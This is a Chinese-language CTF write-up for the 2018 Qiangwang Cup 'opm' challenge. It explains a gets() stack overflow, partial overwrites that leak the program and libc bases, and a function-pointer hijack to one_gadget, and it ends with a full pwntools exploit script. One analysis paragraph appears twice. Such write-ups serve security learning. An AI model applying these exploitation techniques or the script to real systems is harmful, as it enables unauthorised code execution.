opm
分析題目可得出數據結構如下:
struct stru{
int (func*)();
char *name_ptr;
int length;
int punches;
}
}
漏洞位置
在add函數中存在兩個gets()函數,存在緩沖區溢出。
利用思路
觀察棧分布,gets()超過0x80長度后會覆蓋掉棧上的結構體變量,并且add函數中有2次覆蓋的機會,第1次覆蓋將會影響到length的存放,第2次覆蓋將會影響到punches的存放,以及kill函數的參數。
在kill函數中,可以將傳進參數a1 + 8作為地址中的內容打印出來,以及將a1 + 0x18位置的內容以16進制的形式打印出來。在我們通過溢出控制傳入參數后可以做leak。
利用思路
觀察棧分布,gets()超過0x80長度后會覆蓋掉棧上的結構體變量,并且add函數中有2次覆蓋的機會,第1次覆蓋將會影響到length的存放,第2次覆蓋將會影響到punches的存放,以及kill函數的參數。
在kill函數中,可以將傳進參數a1 + 8作為地址中的內容打印出來,以及將a1 + 0x18位置的內容以16進制的形式打印出來。在我們通過溢出控制傳入參數后可以做leak。

從checksec中可以看到是保護機制全開的,所以我們需要leak出程序段基址和libc基址。結合kill函數和結構體的數據結構可以初步確定leak方式為覆蓋如kill的參數,使參數+ 8放的是函數的got表,使參數+ 0x18放的是程序段的地址,兩次leak不需要同時進行。

難點就在于如何leak,由于gets()會在輸入后面加上\x00,所以我們并不能隨心所欲地將地址覆蓋成我們想要的地址,而只能覆蓋成以00結尾的地址,這就需要我們事先將got表布置在以08結尾的地址或將程序段地址布置在以18結尾的地址。若我們事先知道程序段的基址的話,可以通過在輸入name_ptr時輕松地將got表布置在08的地址。現在需要解決的問題就是如何得到程序段基址,即如何將程序段地址布置在18的地址,由于給punches賦值是在第二次覆蓋掉結構體后,所以不能用+ 0x18來進行leak,推翻上一段的利用思路。所以我們只能夠通過構造指向程序段的指針來利用第一個%s進行leak。
在leak出兩個地址過后,由于show函數會將add函數返回的結構體的第一個8字節作為函數的入口地址執行該函數,而且add的返回值為我們第二次覆蓋后的結構體,可控,所以我們可以嘗試將該地址指向一個one_gadget就能起shell了。

leak程序段基址 根據WriteUp分析了半天才看出來是怎么構造的,還是太菜了,這也是為什么這個利用思路寫的這么拖沓的原因。。。我們先多add幾次,將地址抬高到_d00的位置,再次add時,第一次覆蓋結構體時輸入0x81位,將結構體覆蓋為00xx,使后面的name_ptr、length、punches都寫到00xx后的地址上去,此時00xx + 8為name_ptr指針,指向name字符串,但這個name_ptr的值為d_,若我們能將后面一個字節覆蓋成00就可以在第二次覆蓋結構體時將結構體再次改為00xx去,利用kill打印出我們事先在_d00布置好的程序段地址。此時就利用字節不對齊的方式進行最低位改為00的操作,在將_d00布置好后的下一次add中的第一次覆蓋我們將結構體覆蓋為00xx此次add不觸發第二次覆蓋。然后再在下一次的add中的第一次覆蓋時,我們將結構體覆蓋為00xx - 15,覆蓋后會在對length進行賦值,即00xx - 15 + 16進行賦值時,將剛剛的d_最低位(地址為00xx + 9)覆蓋成00然后在第二次覆蓋時,將結構體又覆蓋會00xx,調用kill函數即可實現leak。


my-exp
from pwn import *
local = 1
if local:
p = process('./opm')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
print 'time is up'
def add(name , punches):
p.recvuntil('(E)xit\n')
p.sendline('A')
p.recvuntil('name:\n')
p.sendline(name)
sleep(0.1)
p.recvuntil('punch?\n')
p.sendline(str(punches))
sleep(0.1)
def show():
p.recvuntil('(E)xit\n')
p.sendline('S')
def debug():
print pidof(p)[0]
raw_input()
elf = ELF('./opm')
#one_gadget = 0x45216 0x4526a 0xf02a4 0xf1147
#step 1 leak elf_base
add('a' * 0x30 , 0x10)
add('b' * 0x30 , 0x20)
add('c' , 0x30)
add('d' * 0x80 + '\x63' , 0x40)
debug()
add('e' * 0x80 + '\x54' , '1' * 0x80 + '\x63')
#use 0054 + 0x10 (v6 -> length) to make a d00 , change 0054 to 0063 to point d00
elf.address = u64(p.recvuntil('>')[1:-1] + '\x00' * 2) - 0xb30
success('elf_base => ' + hex(elf.address))
#step 2 use f00 to leak libc_base
atoi_got = elf.got['atoi']
success('atoi_got => ' + hex(atoi_got))
add('f' * 8 + p64(atoi_got) , 0x50)
add('g' , 'g' * 0x80)
libc.address = u64(p.recvuntil('>')[1:-1] + '\x00' * 2) - libc.symbols['atoi']
success('libc_base => ' + hex(libc.address))
#step 3 use 000 and show() to trigger one_gadget
one_gadget = libc.address + 0x4526a
add('h' * 0x60 + p64(one_gadget), '')
add('i' * 0x80 , '')
show()
#debug()
p.interactive()
2018強網杯-Writeup